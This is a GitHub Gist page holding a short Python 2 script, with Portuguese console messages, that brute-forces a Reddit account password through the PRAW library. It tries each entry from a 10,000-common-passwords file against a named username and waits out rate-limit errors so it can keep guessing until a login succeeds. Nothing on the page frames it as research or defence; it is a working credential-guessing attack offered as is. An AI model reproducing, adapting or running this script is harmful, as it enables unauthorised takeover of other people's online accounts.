Created
April 3, 2015 03:01
-
-
Save dvl/c65ad82d4bafab7800c4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import time | |
import praw | |
from praw.errors import InvalidUserPass, RateLimitExceeded | |
bot = praw.Reddit('bf monitor') | |
username = 'test' | |
def get_password(): | |
with open('10k-common-passwords.txt', 'r') as f: | |
for line in f: | |
yield line.strip('\n') | |
password_list = get_password() | |
password = next(password_list) | |
while True: | |
try: | |
print 'Tentando senha: {}'.format(password) | |
bot.login(username, password) | |
except InvalidUserPass: | |
try: | |
password = next(password_list) | |
except StopIteration: | |
print 'Fim da lista de senhas' | |
break | |
except RateLimitExceeded as e: | |
print 'Limite atingido, próxima tentativa em {}s'.format(e.sleep_time) | |
time.sleep(e.sleep_time) | |
else: | |
print 'Senha encontrada: {}'.format(password) | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment